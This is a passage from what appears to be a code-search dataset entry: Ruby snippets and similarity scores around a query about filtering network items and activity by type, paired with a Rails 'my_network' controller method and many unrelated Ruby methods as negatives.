"def create_answers_if\n if self.type.name == 'satisfaction-100'\n 5.times do |n|\n Answer.create(question: self, value: (n*25).to_s + \"%\")\n end\n end\n if self.type.name == 'free-text'\n Answer.create(question: self, value: \"textarea\")\n end\n end",
"def check_for_answers(questions)\r\n @possible_questions = []\r\n questions.each do |question| \r\n unless question.answers.length < 2 \r\n @possible_questions << question \r\n end \r\n @possible_questions\r\n end \r\n end",
"def processors_count\n @processors.length\n end",
"def processor_count; end",
"def processor_count; end",
"def result_count\n result_ids.size\n end",
"def question_loop\n print \"\\e[8;1000;#{$GAME_WIDTH}t\"\n system \"clear\"\n\n get_questions_for_game.each_with_index do |curr_question, index|\n round_banners(index)\n\n answer_hash = shuffle_and_print_answers(curr_question)\n ask_for_answer(curr_question, answer_hash, curr_question.correct)\n end\nend",
"def execute\n @distribution = { 'total' => 0 }\n @usable_questions = usable_questions\n\n offset = 0\n total_count = 0\n loop do\n response_ids = questionnaire.responses.completed.limit(BATCH_SIZE).offset(offset).pluck(:content)\n break if response_ids.blank?\n\n total_count += process_response_ids(response_ids)\n offset += BATCH_SIZE\n end\n @distribution['total'] = total_count\n RedisService.set(\"distribution_#{questionnaire.key}\", @distribution.to_json)\n end",
"def list_answer_responses\n article = find_entity # questionnaire article\n receive_and_set_background_params\n @display_mode = params[:display_mode]\n @is_answer_response = true # choose only answer response article to questionnaire article\n @question_entities = article.questionnaires\n find_detail_of_thread(article.a_thread)\n render :partial => \"detail_with_answer_responses\", :layout => \"base_layout\"\n end",
"def build_answers\n @questions.size.times do\n @user_key.answers.build\n end\n end",
"def block_count; @data[17].to_i; end",
"def process_images(data, image_count, max_image_count)\n data.each do |image|\n return image_count if image_count >= max_image_count\n print_image(image)\n image_count += 1\n end\n image_count\nend",
"def count\n MsgQ.count(@qid)\n end",
"def evaluate_answer(answer)\n question = answer.question.actable\n question.max_time_limit = answer.submission.assessment.course.programming_max_time_limit\n assessment = answer.submission.assessment\n evaluation_result = evaluate_package(assessment.course.title, question, answer)\n build_result(question, evaluation_result,\n graded_test_case_types: assessment.graded_test_case_types)\n end",
"def increment_helper_no_reply_count\n return true if seen_second_helper_no_reply?\n if seen_first_helper_no_reply\n self.seen_second_helper_no_reply = true\n else\n self.seen_first_helper_no_reply = true\n end\n end",
"def picked(report)\n report.answered_questions.find_all_by_answer_id(self.id).count\n end",
"def count\n @mailcount = `exiqgrep -c #{@direction} #{@email} 2>/dev/null`.chomp\n end",
"def evaluate_answer(answer)\n course = answer.submission.assessment.course\n question = answer.question.actable\n assessment = answer.submission.assessment\n question.max_time_limit = course.programming_max_time_limit\n question.attachment.open(binmode: true) do |temporary_file|\n package = Course::Assessment::ProgrammingPackage.new(temporary_file)\n package.submission_files = build_submission_files(answer)\n package.remove_solution_files\n package.save\n\n evaluation_result = evaluate_package(question, package)\n build_result(question, evaluation_result,\n graded_test_case_types: assessment.graded_test_case_types)\n end\n end",
"def count\n count = 0\n each do |data|\n count += 1\n end\n count\n end",
"def num_results(_args = {})\n @num_results ||= result_ids&.count || 0\n end",
"def doGetMaxCountPerRequest()\n end"
] |
[
"0.62781805",
"0.62276155",
"0.6201172",
"0.61235964",
"0.60876024",
"0.60167545",
"0.6007431",
"0.6007431",
"0.5966726",
"0.5965637",
"0.59611744",
"0.5868931",
"0.5714675",
"0.5684064",
"0.56705743",
"0.566917",
"0.5668605",
"0.56296676",
"0.5516189",
"0.5510711",
"0.54883826",
"0.5479749",
"0.54127574",
"0.540115",
"0.540115",
"0.53993714",
"0.5378073",
"0.53612137",
"0.53411615",
"0.5336163",
"0.53158456",
"0.5309625",
"0.530876",
"0.5283262",
"0.52615356",
"0.5259854",
"0.5240978",
"0.52324843",
"0.521491",
"0.5196517",
"0.5182463",
"0.51766634",
"0.51762223",
"0.51705223",
"0.516725",
"0.5159255",
"0.5155059",
"0.51518",
"0.51468766",
"0.514319",
"0.5136556",
"0.5130601",
"0.5115826",
"0.50869507",
"0.50854516",
"0.50850564",
"0.5076939",
"0.50743467",
"0.5052202",
"0.50435746",
"0.50349283",
"0.50200665",
"0.5007989",
"0.49998176",
"0.49950933",
"0.49921843",
"0.49901372",
"0.49822718",
"0.49744132",
"0.49624336",
"0.49600258",
"0.4947689",
"0.49448052",
"0.49445665",
"0.4944027",
"0.49381864",
"0.4933626",
"0.49334064",
"0.4927393",
"0.49268585",
"0.49154887",
"0.49144846",
"0.49080455",
"0.49080455",
"0.49025497",
"0.49018225",
"0.48947912",
"0.48813507",
"0.48797375",
"0.4875018",
"0.48703316",
"0.4865126",
"0.4862271",
"0.4856218",
"0.4856026",
"0.4853998",
"0.48532018",
"0.48477998",
"0.48450413",
"0.4843557"
] |
0.6999388
|
0
|
Internal use only. Defined by Machine subclasses.
|
def process_answers
raise NoMethodError, "define process for machine #{@location} before running factory"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def machine; end",
"def machine; end",
"def machine; end",
"def machine; end",
"def machine; end",
"def machine; end",
"def machine; end",
"def machine; end",
"def private; end",
"def machine=(_arg0); end",
"def initialize(*)\n super\n machine\n end",
"def machine=(new_machine); end",
"def machine\n @machine ||= calculate_machine\n end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def sibling_machines; end",
"def internal; end",
"def implementation; end",
"def implementation; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def processor; end",
"def setup_create\n\t\traise NotImplementedError, \"machine_create is not implemented\"\n\tend",
"def under_construction\n end",
"def internship_passed; end",
"def extra_state; end",
"def states; end",
"def initialize(machine)\n end",
"def stage; end",
"def stage; end",
"def invoke\r\n # TODO: rename to more appropriate one 2007/05/10 by shino\r\n raise 'must be implemented in subclasses'\r\n end",
"def schubert; end",
"def operations; end",
"def operations; end",
"def next states\n raise \"Must be implemented by subclass\"\n end",
"def known_states; end",
"def known_states; end",
"def known_states; end",
"def intern_state\n super\n end",
"def internal?; end",
"def tell()\n #This is a stub, used for indexing\n end",
"def probers; end",
"def implemented_in; end",
"def run; raise NotImplementedError; end",
"def run; raise NotImplementedError; end",
"def manufacture; end",
"def used\n raise NotImplementedError\n end",
"def target; end",
"def target; end",
"def used?; end",
"def virtual; end",
"def available; end",
"def available; end",
"def state\n end",
"def mob; end",
"def isolated; end",
"def isolated; end",
"def custom; end",
"def custom; end",
"def current\n raise NotImplementedError\n end",
"def operation; end",
"def self_type; end",
"def self_type; end",
"def self_type; end",
"def base; self; end",
"def super_sector; end",
"def state=(_arg0); end",
"def state=(_arg0); end",
"def state=(_arg0); end",
"def reflection; end",
"def reflection; end",
"def receiver; end",
"def receiver; end",
"def receiver; end",
"def receiver; end",
"def receiver; end",
"def receiver; end",
"def dump_null machine\n end",
"def runnables; end",
"def current; end",
"def current; end",
"def across_virtual_state\n super\n end",
"def electromechanical; end",
"def registers; end",
"def running; end",
"def running; end",
"def test_set_machine\n assert_respond_to(@ts, :host=)\n assert_respond_to(@ts, :machine=)\n #assert_nothing_raised{ @ts.machine = @@host }\n end",
"def runtime; end",
"def value() end",
"def machine\n vehicle = self\n @machine ||= Machine.new(vehicle, :initial => :parked, :action => :save) do\n vehicle.transitions.each {|attrs| transition(attrs)}\n end\n end",
"def set; end",
"def set; end",
"def villian; end"
] |
[
"0.72880554",
"0.72880554",
"0.72880554",
"0.72880554",
"0.72880554",
"0.72880554",
"0.72880554",
"0.72880554",
"0.68016917",
"0.6758225",
"0.6701629",
"0.65903014",
"0.6295201",
"0.6158165",
"0.6158165",
"0.6158165",
"0.6158165",
"0.6158165",
"0.6158165",
"0.6158165",
"0.6158165",
"0.61526525",
"0.6029151",
"0.596243",
"0.596243",
"0.5929233",
"0.5929233",
"0.5929233",
"0.5929233",
"0.581949",
"0.57535726",
"0.5744521",
"0.5736505",
"0.57274723",
"0.57232827",
"0.5722466",
"0.56442827",
"0.56442827",
"0.5641753",
"0.56408304",
"0.5629955",
"0.5629955",
"0.5621647",
"0.5617096",
"0.5617096",
"0.5617096",
"0.56084484",
"0.55708164",
"0.55438876",
"0.5528083",
"0.55140966",
"0.551386",
"0.551386",
"0.55133224",
"0.55123293",
"0.5503346",
"0.5503346",
"0.5501705",
"0.54974663",
"0.549366",
"0.549366",
"0.5472661",
"0.54400337",
"0.5433974",
"0.5433974",
"0.5412062",
"0.5412062",
"0.5409202",
"0.5406474",
"0.53950566",
"0.53950566",
"0.53950566",
"0.5393386",
"0.5392822",
"0.53900975",
"0.53900975",
"0.53900975",
"0.5383506",
"0.5383506",
"0.53782874",
"0.53782874",
"0.53782874",
"0.53782874",
"0.53782874",
"0.53782874",
"0.5367028",
"0.53652495",
"0.53602517",
"0.53602517",
"0.5350026",
"0.5348022",
"0.5345756",
"0.5345125",
"0.5345125",
"0.5341243",
"0.53379786",
"0.5331014",
"0.53279316",
"0.5322976",
"0.5322976",
"0.53189605"
] |
0.0
|
-1
|
Filter view network items and activity based on entity type, action is deprecated will be removed
|
def my_network
case params[:type]
when 'trusted'
@items = @person.trusted_friends_items(params[:filter_type]).sort_by{|i| i.item_type.downcase}
@events = current_user.trusted_network_activity.page(params[:page]).per_page(25)
else
@items = @person.personal_network_items(params[:filter_type]).sort_by{|i| i.item_type.downcase}
@events = current_user.network_activity.page(params[:page]).per_page(25)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def activities_for(filter: nil, type: _feed_type)\n Feed::ActivityList.new(self).filter(filter).with_type(type)\n end",
"def extra_search_actions(items, extra_filters = [], kind = nil)\n (extra_filters || []).each do |filter|\n case filter\n when 'my_country'\n case kind || params[:type]\n when 'people', 'counselors'\n items = items.where(country: current_user.country)\n when 'churches', 'groups'\n items = items.joins(:user).where(users:{ country: current_user.country })\n when 'contents'\n items = items.joins(:user).where(users:{ country: current_user.country })\n when 'events'\n items = items.joins('inner join user_groups on user_groups.id = events.eventable_id and events.eventable_type = \\'UserGroup\\' inner join users on users.id = user_groups.user_id').where('users.country = ?', current_user.country)\n \n # TODO\n end\n when 'my_groups'\n case kind || params[:type]\n when 'people', 'counselors'\n items = items.joins(:user_groups).where(user_groups: {id: current_user.user_groups.pluck(:id)})\n when 'churches', 'groups'\n items = items.where(id: current_user.user_groups.select(:id))\n when 'contents'\n items = items.where(user_id: current_user.user_groups_members.select(:id))\n when 'events'\n items = items.where(id: current_user.user_groups_events.select(:id))\n end\n end\n end\n items\n end",
"def index\n allowed_items = get_allowed_item_types(current_container)\n @actions = NotificationFilter.actions\n #select just allowed objects in configuration \n @models = NotificationFilter.models.delete_if{ |m| !allowed_items.include?(m.name) } \n @filters = @user.notification_filters || {}\n end",
"def index\n\n @network_actions = filtered_network_actions.page params[:page]\n end",
"def activities\n add_to_query restrict_kind: 'activity'\n end",
"def activities\n Activity.where(\"action_item_uuid in (?)\", action_items.collect(&:uuid))\n end",
"def index\n @activities = PublicActivity::Activity.published\n\n if params[:recipient_type] and recipient_klass = params[:recipient_type].safe_constantize and r_id = params[:recipient_id] and @recipient = recipient_klass.find(r_id)\n @activities = @activities.on(@recipient)\n elsif current_user\n # This is user current feed !\n query_params = ['User', current_user.id]\n query = \"(activities.recipient_type = ? AND activities.recipient_id = ?)\"\n\n # Followed Pages\n if pages = current_user.followed_pages and pages.present?\n query += \" OR (activities.recipient_type = ? AND activities.recipient_id IN (?))\"\n query_params += [\"Page\"] + [pages.collect(&:id)]\n end\n\n @activities = @activities.where(query, *query_params)\n\n else\n head :bad_request # should not happen\n end\n\n @activities = @activities.order('updated_at DESC, created_at DESC').page(params[:page]).per(5)\n \n authorize @activities\n end",
"def filter(item_type)\n case item_type\n when 'todo' then item_type = TodoItem\n when 'event' then item_type = EventItem\n when 'link' then item_type = LinkItem\n else raise UdaciListErrors::InvalidFilterType,\n \"#{type_desc} is not a valid filter type\"\n end\n output(item_type)\n end",
"def get_filtered_activities(filter, time)\n activities(time, filter)\n end",
"def index\n @filter = ActivityFilter.new(params[:filter])\n unless params[:filter]\n @activities = current_user.activities.includes([:target, :object, :user, :object, :actor, :tags]).order(\"posted_time desc\").all\n else\n if params[:filter][:tags].nil?\n @activities = current_user.activities.filter_advanced(@filter.options).order('posted_time desc').all\n else\n @activities = current_user.activities.tagged_with(params[:filter][:tags].split(','), :match_all => true).filter_advanced(@filter.options).order('posted_time desc').all\n end\n end\n \n if params[:format] == 'js'\n @activities = Activity.to_calendar(@activities) \n elsif params[:format] == 'html' or params[:format].nil?\n @activities = @activities.paginate(:per_page => 10, :page => params[:page]) \n elsif params[:format] == 'json'\n items = {:data => {:items => []}}\n @activities.each do |activity|\n items[:data][:items].push activity.to_json\n end\n end\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @activities }\n format.json { render :json => items.to_json}\n format.js { render :json => @activities.to_json}\n end\n end",
"def articles_filter(action, atts)\n article = atts[:article] ? atts[:article] : (atts[:article_id] ? Article.find_by_id(atts[:article_id]) : nil)\n\n case action\n when \"show\", \"newest\", \"best\"\n return true\n when \"new\", \"create\", \"edit\", \"update\", \"destroy\"\n return has_at_least_one_of_roles({\n :roles => [ :root, :admin, :articles_editor ],\n :user => atts[:user]\n })\n when \"set_mark\"\n return has_at_least_one_of_roles({\n :roles => [ :root, :admin, :marker ],\n :user => atts[:user]\n }) && article && article.user.id != atts[:user].id # nesmi znamkovat vlastni\n else\n return false\n end\n end",
"def filter\n do_authorize_class\n\n filter_response, opts = Settings.api_response.response_advanced(\n api_filter_params,\n Access::ByPermission.dataset_items(current_user, dataset_id: params[:dataset_id]),\n DatasetItem,\n DatasetItem.filter_settings(:reverse_order)\n )\n\n respond_filter(filter_response, opts)\n end",
"def index\n @activities = current_user.activities.includes([:wx_mp_user,:activity_type]).where(\"activities.status >= -1\").order(\"activity_types.sort\",:created_at)\n end",
"def conditions_for_collection\n [\"activities.type IS NULL \"]\n end",
"def typus_actions_on(filter)\n actions = read_model_config['actions']\n actions && actions[filter.to_s] ? actions[filter.to_s].extract_settings : []\n end",
"def collected_entities entity_type, viewer=nil\n entity_type = entity_type.to_s\n if viewer == self\n assoc = entity_type.to_s\n scope = self.method(assoc).call\n scope = scope.where.not(owner_id: id) if entity_type == \"List\"\n scope\n else\n arr = collection_pointers.where(entity_type: entity_type, private: false).map(&:entity)\n arr = arr.keep_if { |l| l.owner != self } if entity_type == \"List\"\n arr\n end\n end",
"def index\n @type_activities = TypeActivity.all\n end",
"def get_actions(type=nil)\n res = []\n \n @actions.each do |a|\n if a.is_a?(type) or type.nil?\n res.push a\n end\n end\n \n return res\n end",
"def type\n @activities = Activity.tagged_with_on(:types,params[:type_name]).page params[:page]\n respond_with @activities\n end",
"def visit(entity)\n traverse(filter(entity))\n end",
"def filter_for(item)\n self.class.filter_for filter, item\n end",
"def index\n @article_type_filter = (params[:article_type_filter] || ArticleType.all.each.collect{|article_type| article_type.id}).collect{|filter| filter.to_i}\n @articles = Article.where(article_type_id: @article_type_filter)\n end",
"def search_activity\n case activity\n when \"voted\"\n query\n .includes(:votes)\n .where(decidim_opinions_opinion_votes: { decidim_author_id: @current_user })\n when \"my_opinions\"\n query\n .where.not(coauthorships_count: 0)\n .joins(:coauthorships)\n .where(decidim_coauthorships: { decidim_author_type: \"Decidim::UserBaseEntity\" })\n .where(decidim_coauthorships: { decidim_author_id: @current_user })\n else # Assume 'all'\n query\n end\n end",
"def _filter_display\n @apotomo_emit_raw_view = true\n render :view => '_filters'\n end",
"def filters; end",
"def filters; end",
"def filters\n end",
"def filter_activities_stream(publisher, filter, time = nil)\n publisher.activities(time, filter)\n end",
"def getassociated(type)\n self.forward_items_dataset.filter(\"content LIKE '%type\\\":\\\"#{type}%'\")\n end",
"def search_type\n case type\n when \"opinions\"\n query.only_amendables\n when \"amendments\"\n query.only_visible_emendations_for(@current_user, @component)\n else # Assume 'all'\n query.amendables_and_visible_emendations_for(@current_user, @component)\n end\n end",
"def activity\n PublicActivity::Activity\n .includes(:owner, :trackable, post: [:author, :images, :graetzl, :comments], meeting: [:address, :graetzl, :comments])\n .select('DISTINCT ON(trackable_id, trackable_type) *')\n .where(key: STREAM_ACTIVITY_KEYS)\n .where(\"(owner_id IN (?) AND owner_type = 'User')\n OR\n (trackable_id IN (?) AND trackable_type = 'Meeting')\n OR\n (trackable_id IN (?) AND trackable_type = 'Post')\", users.pluck(:id), meetings.pluck(:id), posts.pluck(:id))\n .order(:trackable_id, :trackable_type, created_at: :desc)\n .sort_by(&:created_at).reverse\n end",
"def index\n @activity = Activity.where(\"a_type= 'vakcinacija' OR a_type= 'lecenje'\").sort_by{|a| a[:date]}\n end",
"def show\n get_activity\n @items = (@my_precontent + @precontent).flatten.uniq.sort {|a,b| b.published_at.to_i <=> a.published_at.to_i}[0..19]\n end",
"def filter(type)\n print_items @items.select { |item| item.type.casecmp(type).zero? }\n end",
"def payload_filters2_show_rules(host_id, type)\n post_setting(\"PayloadFilter2s.screen\", {\n \"hostID\" => host_id,\n \"noSearch\" => true,\n \"hideStandardHeader\" => true\n }, {\n \"command\" => \"CHANGEASSIGNFILTER\",\n \"arguments\" => type}\n )\n end",
"def has_access(atts)\n atts[:controller] = atts[:controller] ? atts[:controller] : params[:controller]\n atts[:action] = atts[:action] ? atts[:action] : params[:action]\n atts[:user] = atts[:user] && atts[:user].is_a?(User) ? atts[:user] : current_user\n atts[:entity_id] = params[:id] ? params[:id] : nil\n\n logger.debug \"atts[:controller]: \" + atts[:controller]\n logger.debug \"atts[:action]: \" + atts[:action]\n logger.debug \"atts[:user]: \" + (atts[:user] ? atts[:user].username : \"\")\n logger.debug \"atts[:entity_id]: \" + (atts[:entity_id] ? atts[:entity_id].to_s : \"\")\n\n case atts[:controller]\n when \"comments\"\n @res = comments_filter(atts[:action], {\n :user => atts[:user],\n :comment_id => atts[:entity_id]\n })\n when \"users\"\n @res = users_filter(atts[:action], {\n :user => atts[:user],\n :entity_id => atts[:entity_id]\n })\n when \"players\"\n @res = players_filter(atts[:action], {\n :user => atts[:user],\n :player_id => atts[:entity_id]\n })\n when \"leagues\"\n @res = leagues_filter(atts[:action], {\n :user => atts[:user],\n :league_id => atts[:entity_id]\n })\n when \"teams\"\n @res = teams_filter(atts[:action], {\n :user => atts[:user],\n :team_id => atts[:entity_id]\n })\n when \"games\"\n @res = games_filter(atts[:action], {\n :user => atts[:user],\n :game_id => atts[:entity_id]\n })\n when \"halls\"\n @res = halls_filter(atts[:action], {\n :user => atts[:user],\n :hall_id => atts[:entity_id]\n })\n when \"images\"\n @res = images_filter(atts[:action], {\n :user => atts[:user],\n :image_id => atts[:entity_id]\n })\n when \"plugins\"\n @res = plugins_filter(atts[:action], {\n :user => atts[:user],\n })\n when \"wikis\"\n @res = wikis_filter(atts[:action], {\n :user => atts[:user],\n })\n when \"events\"\n @res = events_filter(atts[:action], {\n :user => atts[:user],\n })\n else\n @res = true\n end\n\n # kdyz nemam prava, nemam pristup\n if !@res\n access_denied\n end\n end",
"def activity_complements\n\n context.render_entity_aspects(activity, :activity)\n\n end",
"def activity_type(activity)\n activity.item.class.to_s \n end",
"def activity_type(activity)\n activity.item.class.to_s \n end",
"def kind\n :activity\n end",
"def show\n @activity_type = ActivityType.find(params[:id]) \n @activitypage = @activity_type.activities.page(params[:page]).per(20)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity_type }\n end\n end",
"def activity_filter(activities_object, *dont_include)\n dont_include = [dont_include] unless dont_include.is_a?(Array)\n activity_types = Activity.where(:id => activities_object.id).select(\"DISTINCT(template)\")\n #activity_types = activities_object.activities.select(\"DISTINCT(activities.template)\")\n filter_types = activity_types.find_all {|activity| !dont_include.include?(activity.template)}\n render :partial => 'activities/template_filter', :locals => { :activity_types => filter_types, :dont_include => dont_include }\n end",
"def all_activities(**args)\n params = parameters(args) do\n optional_params :user_id, :filter_id, :type, :start, :limit, :start_date, :end_date, :done\n end\n request(:get, 'activities', params)\n end",
"def search_for_item\n search_service.fetch(params[:id], { fl: ['visibility_ssi'] })\n end",
"def prepare_show\n @page = params[:page] || 1\n types = CollectionItem.types\n @collection_item_scopes = [[I18n.t(:selected_items), :selected_items], [I18n.t(:all_items), :all_items]]\n @collection_item_scopes << [I18n.t(\"all_#{types[@filter.to_sym][:i18n_key]}\"), @filter] if @filter\n @recently_visited_collections = Collection.find_all_by_id(recently_visited_collections(@collection.id)) if @collection\n end",
"def activity_type(activity)\n activity.item.class.to_s\n end",
"def filter_items\n @filter_items ||= []\n end",
"def index\n @activity_type_fs = ActivityTypeF.all\n end",
"def all_activities\n t = PublicActivity::Activity.arel_table\n PublicActivity::Activity.where(\n t[:trackable_id].eq(id).and(t[:trackable_type].eq(Classroom.to_s)).or(\n t[:recipient_id].eq(id).and(t[:recipient_type].eq(Classroom.to_s))\n )\n ).reverse_order\n end",
"def get_activities(filter = Array.new)\n ret_array = Array.new\n if filter.size > 0\n for act in self.activities\n filter.each do |f|\n if act.topic == f\n ret_array.push(act)\n end\n end\n end\n else\n ret_array = activities\n end\n ret_array.sort{|a,b| b.time <=> a.time}\n\n end",
"def show\n @activities = PublicActivity::Activity.order(\"created_at desc\").where(owner_id: @profile.user.id, owner_type: \"User\")\n end",
"def inkind\n @activities = Activity.all.sort{|a,b| a.name.downcase <=> b.name.downcase }\n end",
"def show\n @customers = Person.where(role_type: 1)\n @advisors = Person.where(role_type: 2)\n @number_of_participants = Activity.where(event_id: params[:id], attendance_type: 1).count\n case params[:q]\n when 'presentee'\n @customer_activities = Activity.includes(:person).where(event_id: params[:id], attendance_type: 1).where('people.role_type = 1')\n @advisor_activities = Activity.includes(:person).where(event_id: params[:id], attendance_type: 1).where('people.role_type = 2')\n @fixed_customer_activities = Activity.where(event_id: params[:id], attendance_type: 1).where(fixed_role_type: 1)\n @fixed_advisor_activities = Activity.where(event_id: params[:id], attendance_type: 1).where(fixed_role_type: 2)\n when 'absentee'\n @customer_activities = Activity.includes(:person).where(event_id: params[:id], attendance_type: 2).where('people.role_type = 1')\n @advisor_activities = Activity.includes(:person).where(event_id: params[:id], attendance_type: 2).where('people.role_type = 2')\n @fixed_customer_activities = Activity.where(event_id: params[:id], attendance_type: 2).where(fixed_role_type: 1)\n @fixed_advisor_activities = Activity.where(event_id: params[:id], attendance_type: 2).where(fixed_role_type: 2)\n else\n @customer_activities = Activity.includes(:person).where(event_id: params[:id]).where('people.role_type = 1')\n @advisor_activities = Activity.includes(:person).where(event_id: params[:id]).where('people.role_type = 2')\n @fixed_customer_activities = Activity.where(event_id: params[:id]).where(fixed_role_type: 1)\n @fixed_advisor_activities = Activity.where(event_id: params[:id]).where(fixed_role_type: 2)\n end\n respond_to do |format|\n format.html\n format.csv do\n send_data render_to_string(template: \"events/show.csv.ruby\"), filename: \"event_#{@event.name}_#{@event.event_date.strftime(\"%Y%m%d\")}_#{@event.venue}.csv\", type: :csv\n end\n end\n end",
"def show\n @asset_activity = AssetActivity.new\n @activity_types = ActivityType.all\n end",
"def get_views(entity)\n return []\n end",
"def filters\n mentos(:get_all_filters)\n end",
"def filter\n end",
"def products_by_type(type)\n all_products.select { |product| filter_item_by_type(product, TARGET_PRODUCT_FIELD, type) }\nend",
"def custom_activities_query(user)\n PublicActivity::Activity.includes(:owner)\n .where(owner_id: user.id, owner_type: 'User', trackable_type: ['Mention', 'User', 'Content', 'Recommend', 'ContentPrayer']).where.not(key: 'content.create')\n .to_sql\n end",
"def gated_discovery_filters(permission_types = discovery_permissions, ability = current_ability)\n return [] if ability.admin?\n super\n end",
"def index\n @interactions = Interaction.find_subclass(params[:interaction_filter]).\n where(:program_id => current_program.id).\n limit(25).order(:interaction_time.desc)\n\n @interactions = @interactions.where(:person_id => params[:person_id]) if params[:person_id]\n\n respond_with @interactions\n end",
"def filter\n query = build_query()\n @lancamentos = query\n\n\n render :layout => nil\n end",
"def only_blogs items\n only_ items, :blog\nend",
"def filter_activities_stream_xml(publisher, filter, time = nil)\n publisher.activities_xml(time, filter)\n end",
"def all_activities\n if user.present?\n Activity.where('(activity_owner_id = :activity_owner_id and activity_owner_type = :activity_owner_type) or user_id = :user_id',\n activity_owner_id: id, activity_owner_type: self.class.name, user_id: user.id).order(created_at: :desc)\n else\n activities\n end\n end",
"def index\n @activity_types = ActivityType.all\n end",
"def show_list\n process_show_list(:conditions => [\"agent_type<>?\", \"VMDB\"])\n end",
"def index\r\n @article_instances = ArticleInstance.find :all, :conditions=>{:cobrand_id=>@cobrand}\r\n @article_instance = ArticleInstance.find params[:article_instance_id]\r\n @article_categories = @article_instance ? @article_instance.article_categories : []\r\n @articles = filtered_articles\r\n end",
"def index\n @items = Item.includes(:category).with_attached_cover.with_filter(params[:sort])\n @items = @items.search(params[:query]) if params[:query].present?\n @items = @items.page(params[:page]).per(24)\n\n authorize @items\n end",
"def filter\n super\n end",
"def activities(time = nil, filter = nil)\n parse_xml(*activities_xml(time, filter))\n end",
"def apply_filter(type, request, ds)\n if filter = filter_for\n ds = filter.call(ds, type, request)\n end\n ds\n end",
"def filter_data\n case params[:filter][:info]\n when 'Public'\n @tag = Tag.find_by(tag: 'Public')\n when 'Basketball Courts'\n @tag = Tag.find_by(tag: 'Basketball Courts')\n when 'Book Store'\n @tag = Tag.find_by(tag: 'Book Store')\n end\n\n @joins = Tagtoilet.where('tag_id = ?', @tag.id)\n @toilets = @joins.map{|join| Toilet.find(join.toilet_id)}\n @toilets.to_json\n end",
"def index\n\n #events_scope = Event.event_curator_users_filter(params[:curator_filter])\n #events_scope = events_scope.event_curator_users_filter(params[:event_curator_users_filter])\n #events_scope = events_scope.event_curator_users_filter if params[:event_curator_users_filter] == \"1\"\n events_scope = Event.title_search(params[:filter])\n\n if (params[:curator_filter] != nil) && (params[:curator_filter] != \"\")\n events_scope = events_scope.event_curator_users_filter(params[:curator_filter])\n end\n\n if (params[:state_filter] != nil) && (params[:state_filter] != \"\")\n events_scope = events_scope.state_filter(params[:state_filter])\n end\n\n if (params[:date_filter] != nil) && (params[:date_filter] != \"\")\n events_scope = events_scope.date_search(Date.parse(\"01.\" + params[:date_filter]))\n end\n smart_listing_create :events,events_scope, partial: \"events/list\",page_sizes: [20,50,100],\n default_sort: {date_start: \"desc\"}\n end",
"def index\n @network_events = filtered_events.page params[:page]\n @unscheduled_only = params[:unscheduled_events_only]\n end",
"def index\n @activity_items = ActivityItem.all\n end",
"def set_filter_options\n @sort_modes = Organization.sort_modes\n @view_modes = Organization.view_modes\n\n @current_sort_mode = if @sort_modes.keys.include?(params[:sort_by])\n params[:sort_by]\n else\n @sort_modes.keys.first\n end\n\n @current_view_mode = if @view_modes.keys.include?(params[:view])\n params[:view]\n else\n @view_modes.keys.first\n end\n\n @query = params[:query]\n end",
"def filtered_primary_model(_ = nil)\n pm = primary_model\n a = filter_params_permitted[:app_type_id] if filter_params_permitted\n if a.present?\n # A filter was selected. Limit the results to just users that can access the specified app.\n a = a.to_i\n # Set the app_type_id param to nil, so the super method doesn't attempt to filter on it\n filter_params_permitted[:app_type_id] = nil\n ids = pm.all.select { |u| a.in?(u.accessible_app_type_ids) }.map(&:id)\n pm = pm.where(id: ids)\n end\n\n # Filter on everything (except the specified app_type_id, which has beem temporarily removed)\n res = super(pm)\n\n # Reset the filter params so that the buttons appear correctly\n filter_params_permitted[:app_type_id] = a.to_s if a.present?\n res\n end",
"def index\n @activity_kinds = ActivityKind.all\n end",
"def show\n\n # when is not filter(all filter blank, it should get all the items\n if params[:item_color].blank? && params[:item_brand].blank?&& params[:item_style].blank?&¶ms[:item_make].blank?\n @items_designs = ItemsDesign.where(\"item_id = ?\",params[:id]).order(:updated_at)\n else\n\n unless params[:item_color].blank?\n @items_designs = ItemsDesign.where(\"item_id = ?\",params[:id])\n .where('lower(color) = ?',params[:item_color])\n .order(:updated_at)\n end\n unless params[:item_brand].blank?\n @items_designs = ItemsDesign.where(\"item_id = ?\",params[:id])\n .where('lower(brand) = ?',params[:item_brand])\n .order(:updated_at)\n end\n unless params[:item_style].blank?\n @items_designs = ItemsDesign.where(\"item_id = ?\",params[:id])\n .where('lower(style) = ?',params[:item_style])\n .order(:updated_at)\n end\n unless params[:item_make].blank?\n @items_designs = ItemsDesign.where(\"item_id = ?\",params[:id])\n .where('lower(make) = ?',params[:item_make])\n .order(:updated_at)\n end\n\n end\n\n if @items_designs.length < 3\n @item_length = @items_designs.length\n else\n @item_length = 3\n end\n\n @items_by_type = Item.order(:id).all\n @items_designs_by_color = ItemsDesign.select(\"lower(color) as color,max(item_id) as item_id\").where(\"item_id = ?\",params[:id]).group(\"lower(color)\").order(:color)\n @items_designs_by_brand = ItemsDesign.select(\"lower(brand) as brand,max(item_id) as item_id\").where(\"item_id = ?\",params[:id]).group(\"lower(brand)\").order(:brand)\n @items_designs_by_style = ItemsDesign.select(\"lower(style) as style,max(item_id) as item_id\").where(\"item_id = ?\",params[:id]).group(\"lower(style)\").order(:style)\n @items_designs_by_make = ItemsDesign.select(\"lower(make) as make,max(item_id) as item_id\").where(\"item_id = ?\",params[:id]).group(\"lower(make)\").order(:make)\n\n\n #set_meta_tags :og =>{\n # :image => 'http://ia.media-imdb.com/rock.jpg'\n #}\n #set_meta_tags :title => 'Member Login'\n #set_meta_tags :og => {\n # :title => 'The Rock',\n # :type => 'video.movie',\n # :url => 'http://www.imdb.com/title/tt0117500/',\n # :image => 'http://ia.media-imdb.com/rock.jpg',\n # :video => {\n # :director => 'http://www.imdb.com/name/nm0000881/',\n # :writer => ['http://www.imdb.com/name/nm0918711/', 'http://www.imdb.com/name/nm0177018/']\n # }\n\n\n respond_to do |format|\n format.html # show.html.erb\n\n end\n end",
"def filter_content_types(recommendations_types)\n Content.filter_content_types(recommendations_types)\n end",
